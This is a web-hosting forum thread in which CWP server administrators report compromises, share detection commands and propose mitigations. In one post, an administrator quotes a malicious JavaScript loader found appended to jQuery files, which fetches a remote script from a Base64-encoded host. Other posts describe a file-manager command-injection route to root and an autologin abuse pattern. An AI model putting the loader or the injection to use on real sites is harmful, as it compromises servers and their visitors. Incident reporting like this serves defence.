Possible CWP Security Issue – Malicious JavaScript Injection

For a while, I’m going to check the `/home` directory daily for files modified within the last 24 hours. Since my server has relatively few users but receives a high number of attacks, I’m more likely to notice suspicious activity. If I find anything suspicious, I’ll share it here.

This is the command I’m using:

Code: [Select]

find /home -type f -cmin -1440
-printf '%TY-%Tm-%Td %TH:%TM:%TS %p\n' 2>/dev/null |
grep -v 'sess_' |
sort -r

(...)

Same issue here, with Iang.php and ur1.php files.

What's the fix for these attacks? Just delete files?
Was not clear if this was created using FileManager vulnerability. Is this correct?

Various sites affected here.
Backups was disabled too, withoout any command.
Some Nodejs apps was down too, no reason.

Distro is Centos 8 Stream.


Thanks!

The issue lay with the file manager. The attacker used the DELETE method to send a request containing a long string, appended a semicolon (";"), and executed a series of commands with root privileges. I was able to confirm—based on the attack timestamp, the timestamps of the injected files, and log entries the attacker failed to delete—that this was the method used.

Therefore, you should restrict the DELETE method by adding the following configuration to your `/usr/local/cwpsrv/conf/cwpsrv.conf` file, placing it between the `server {` and `location / {` directives:

Code: [Select]

# Natively block unauthorized methods in NGINX
if ($request_method !~ ^(GET|HEAD|POST)$ ) {
        return 444; # Code 444 closes the connection immediately without sending headers, saving bandwidth and dropping the bot
}

Additionally, you should disable the file manager:

Code: [Select]

mv /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php{,.disabled}

The attacker exploited the file manager to gain root access to the server using a standard user account. Consequently, you should also remove the following configuration block wherever it appears:

Code: [Select]

location ~ ^/~(.+?)(/.*)?$ {
        internal;
        proxy_pass http://IP.AD.DR.ESS:8181;
        include proxy.inc;
}

However, there is no guarantee that it did not access your information and collect any sensitive or confidential data from your server. You should take measures to mitigate the impact of the server data compromise, should such an event have occurred.

Regards,
Netino

(...)

Same issue here, with Iang.php and ur1.php files.

What's the fix for these attacks? Just delete files?
Was not clear if this was created using FileManager vulnerability. Is this correct?

Various sites affected here.
Backups was disabled too, withoout any command.
Some Nodejs apps was down too, no reason.

Distro is Centos 8 Stream.


Thanks!

The issue lay with the file manager. The attacker used the DELETE method to send a request containing a long string, appended a semicolon (";"), and executed a series of commands with root privileges. I was able to confirm—based on the attack timestamp, the timestamps of the injected files, and log entries the attacker failed to delete—that this was the method used.

Therefore, you should restrict the DELETE method by adding the following configuration to your `/usr/local/cwpsrv/conf/cwpsrv.conf` file, placing it between the `server {` and `location / {` directives:

Code: [Select]

# Natively block unauthorized methods in NGINX
if ($request_method !~ ^(GET|HEAD|POST)$ ) {
        return 444; # Code 444 closes the connection immediately without sending headers, saving bandwidth and dropping the bot
}

Additionally, you should disable the file manager:

Code: [Select]

mv /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php{,.disabled}

The attacker exploited the file manager to gain root access to the server using a standard user account. Consequently, you should also remove the following configuration block wherever it appears:

Code: [Select]

location ~ ^/~(.+?)(/.*)?$ {
        internal;
        proxy_pass http://IP.AD.DR.ESS:8181;
        include proxy.inc;
}

However, there is no guarantee that it did not access your information and collect any sensitive or confidential data from your server. You should take measures to mitigate the impact of the server data compromise, should such an event have occurred.

Regards,
Netino

Thanks! I'll block.

The attack happened again. I got a process running called "-cpanel" conecting to ip 152.53.173.29, from Germany.

Cannot confirm if it comes from filemanager.

Thanks!

After long time researching and testing, confirmed that server was a processe called "-cpanel" that connects to IP 152.53.173.29.
That files mentioned earlier in this thread was found in home directories with root permissions. All deleted.
IP was blocked and connections was closed.
Server infected, probably some was not updated. It's a Centos 8 Stream.
Will be reinstalled.

This problem was caused due a Centos without updates, but, CWP needs to be fixed too due a vulnerabilities mentioned by Netino.

Just posting here cause someone facing same problem.

Thanks!

This is a complete joke. Multiple servers hacked and with leftovers from previouse CVEs in CWP, and NO ONE from the team makes a announce about it or tell us something....

I believe there is a vulnerability in the User Portal wordpress_manager module and or addons module/wp_autologin feature.

I've been watching for sh command execution using falco. I got notified today that two of my CWP user accounts ran

Code: [Select]

sh -c chown : /home/username/public_html/cwp_login_xxxxx.php
And there were new cwp_login_xxxxx.php files created in both these user directories.
I guess these kinds of files are generated by CWP to allow the user to bypass their Wordpress login. Idk, never used that feature.
I'm the only one that has access to these users, and this was triggered from an IP I don't use.

Code: [Select]

155.117.252.20And these sites don't have Wordpress, or any active website for that matter, so impossible for an attack to have come through Wordpress.

I did this to check around the time that the cwp_login files were created.

Code: [Select]

grep -E "16:1[4-6]:" /usr/local/cwpsrv/logs/access_log
And got this:

Code: [Select]

155.117.252.20 - - [03/Sep/2026:16:15:15 -0600] "POST /user1/index.php?module=addons&act=wp_autologin HTTP/1.1" 302 89 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:15 -0600] "POST /user1/index.php?module=wordpress_manager&acc=list_domains HTTP/1.1" 302 160 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:15 -0600] "POST /user2/index.php?module=addons&act=wp_autologin HTTP/1.1" 302 90 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:15 -0600] "POST /user2/index.php?module=wordpress_manager&acc=list_domains HTTP/1.1" 302 160 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:16 -0600] "POST /user2/index.php?module=wordpress_manager&acc=list_domains HTTP/1.1" 302 160 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:16 -0600] "POST /user2/index.php?module=wordpress_manager&acc=scan_installations HTTP/1.1" 302 121 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:17 -0600] "POST /user2/index.php?module=domains&acc=dirlist HTTP/1.1" 302 12 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:17 -0600] "POST /user2/index.php?module=wordpress_manager&acc=list_domains HTTP/1.1" 302 160 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:18 -0600] "POST /user2/index.php?module=domains&acc=dirlist HTTP/1.1" 302 12 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:18 -0600] "POST /user2/index.php?module=domains&acc=dirlist HTTP/1.1" 302 12 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:18 -0600] "POST /user2/index.php?module=letsencrypt&acc=list HTTP/1.1" 302 14 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:19 -0600] "POST /user2/index.php?module=addons&act=wp_autologin HTTP/1.1" 302 90 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:19 -0600] "POST /user2/index.php?module=git_manager&acc=list_repos HTTP/1.1" 302 12 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:20 -0600] "POST /user2/index.php?module=addons&act=wp_autologin HTTP/1.1" 302 94 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:21 -0600] "POST /user1/index.php?module=wordpress_manager&acc=list_domains HTTP/1.1" 302 160 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:21 -0600] "POST /user1/index.php?module=wordpress_manager&acc=scan_installations HTTP/1.1" 302 121 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:22 -0600] "POST /user1/index.php?module=domains&acc=dirlist HTTP/1.1" 302 12 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:22 -0600] "POST /user1/index.php?module=wordpress_manager&acc=list_domains HTTP/1.1" 302 160 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:23 -0600] "POST /user1/index.php?module=domains&acc=dirlist HTTP/1.1" 302 12 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:23 -0600] "POST /user1/index.php?module=domains&acc=dirlist HTTP/1.1" 302 12 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:24 -0600] "POST /user1/index.php?module=addons&act=wp_autologin HTTP/1.1" 302 89 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:24 -0600] "POST /user1/index.php?module=git_manager&acc=list_repos HTTP/1.1" 302 12 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:24 -0600] "POST /user1/index.php?module=letsencrypt&acc=list HTTP/1.1" 302 14 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:25 -0600] "POST /user1/index.php?module=addons&act=wp_autologin HTTP/1.1" 302 93 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
These times lineup exactly when falco logged that "sh -c chown : /home/user1/public_html/cwp_login_xxxxxx.php" was ran so somehow this IP was able to POST data in a way that bypassed auth and allowed these wordpress login bypass files to be created by CWP.

I would block access to 2082 & 2083, (obvs admin 2086 / 2087 and 2030 / 2031, and API 2304 should already be whitelist only) until CWP can release a patch.

Hi,

I checked my servers and found two hacked users. I'm not sure whether the accounts were hacked using the wp_autologin module, because there were requests to other CWP components before wp_autologin was called.

However, I found one interesting thing: the usernames of the hacked accounts exactly match a part of a domain installed on the server. For example, the following usernames would be unsafe: "mydomain", "addon2", and "com" if the following domains exist on the server: "mydomain.com" and "some.addon2.net".

Accounts with usernames that did not match any part of the domains installed on the server were not compromised.

So, I believe that the username must be known in order to exploit the vulnerability.

Hello,

Using CWP since long and love it. I agree with @Netino and assume this issue occurred only after CWP upgrade it file manager.

Because issue occurred around after 10th Aug 2026 in my two server having CWPPRO on AlmaLinux 8 with latest Kernel, CSF Firewall, updated Apache, and
have Mod Security installed running the latest CWPPRO OWASP and does not have any WordPress installation  but then also both of my server affected.

In one of my server, all files and folders owner become root in public_html folder and in other server, lot many "cwp_login_randomnumber.php" files generated in public_html folder.
Screenshot attached.

I request to CWP that old stable version was perfect, No any demand for better look then why they update it?
I notice that look for CSF firewall page also changed, Old was far better and easy to use/maintain.

User require only functionality, secured updated supported version and fixes - Not themes and better looks.

If any one guide how to check infections and fix the issue greatly appreciated.

Once again I love CWP.

Further, Site loading properly in browser and view source code in browser is also proper.
But server is intercepting all web requests from bots that have "bot," "crawler," or "spider" so search result in search engine like Google
showing some other metadata instead of our websites data.

Refer similar thread at : http://forum.centos-webpanel.com/other/something-is-intercepting-bots-and-loading-a-different-page-for-them/msg54106/

Hello CWP Team and Community,

I would like to report a suspicious security incident that occurred on my server on August 13, 2026.

I found malicious JavaScript injected at the end of jQuery files used by websites hosted on the server.

The injected code was:

const u = atob("aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz");
const s = document.createElement("script");
s.src = u;
s.dataset.landing = "";
s.dataset.channelCode = "9cbdf797";
document.head.appendChild(s);

The Base64 string:

aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz

decodes to:

https://she-g8f.pages.dev/boot.js

What I observed

The modification does not appear to affect random JavaScript files. It appears to specifically target the jQuery file that is actively being used by the website.

For example, if a website is using jquery.3.7.1.min.js, that file may be modified and the malicious code appended to the end.

I initially investigated this as a possible compromise of my own server, but I later found the same type of injection on another server also running CWP.

This makes me concerned that this may not be an isolated server or website compromise.

Quick detection

CWP users can search their /home directory with:

grep -RIl --binary-files=without-match 'aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz' /home 2>/dev/null

This should return files containing the injected Base64 string.

I recommend checking the results, especially any jquery*.js files currently used by active websites.

Request for investigation

I have searched the server for the source of the modification but have not been able to determine the initial attack vector.

Could someone from the CWP team or an experienced CWP security researcher please investigate whether there is any known vulnerability or CWP-related mechanism that could allow an attacker to:

Identify actively used jQuery files.
Modify those files.
Inject an external JavaScript loader.
Do so without leaving an obvious trace in the normal server logs.

Since I have now observed the same behavior on two different CWP servers, I believe this deserves further investigation.

If other CWP users check their jQuery files and find the same injection, that may help determine the scope and source of the issue.

Thank you.

below list is some of the variations of js files. where the same code snippet found

modernizr-2.8.3.min.js
wow.min.js
jquery-3.2.1.min.js
jquery.min.js
jquery-2.1.0.min.js
jquery-1.11.1.min.js
modernizer.js
jquery-3.3.1.min.js